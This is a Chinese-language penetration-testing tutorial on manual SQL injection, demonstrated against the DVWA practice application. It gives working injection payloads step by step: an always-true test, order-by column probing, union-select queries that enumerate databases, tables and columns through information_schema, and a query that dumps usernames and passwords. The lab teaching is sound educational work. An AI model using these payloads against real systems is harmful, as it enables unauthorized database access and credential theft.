渗透测试基础之sql注入
1、什么是sql注入?
SQL注入攻击是通过将恶意的SQL查询或添加语句插入到应用的输入参数中,再在后台SQL服务器上解析执行进行的攻击,它目前是黑客对数据库进行攻击的最常用的手段之一。
2、sql注入能带来的威胁?
猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
绕过认证,列如绕过验证登录网站后台。
注入可以借助数据库的存储过程进行提权等操作。
3、手动sql注入演示
3.1、验证是否存在漏洞
输入1:
输入 1' or 1=1#:
我们是通过控制参数id的值来返回我们需要的信息。如果我们不按常理出牌,比如在输入框中输入1‘ or 1 = 1# 实际执行的SQL语句会变成。通过返回结果 ,我们可以判断此处存在sql注入。
3.2、猜测查询语句的字段数:
输入 1' order by 1#:
输入 1' order by 2#:
输入 1' order by 3#:
通过这三次访问,可以判断目前只查询两列数据,分别为first name和surname;
3.3、获取当前数据库
我们使用union select 联合查询继续获取信息。union运算符可以将两个或者两个以上select语句的查询结果集合合并成一个结果集显示,即执行联合查询。需要注意在使用union查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为2。
输入 1' union select 1,database() #
说明当前的数据库为dvwa,我们尝试获取dvwa数据库中的表名。information_schema是mysql自带的一张表,这张数据表保存了Mysql服务器所有数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段table_name和table_schema,分别记录DBMS中的存储的表名和表名所在的数据库。
输入 1' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa'#
说明数据库dvwa中一共有两个表,guestbook与users
3.4、获取表中的字段
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' #
3.5、获取表中数据
输入 1' union select user, password from users#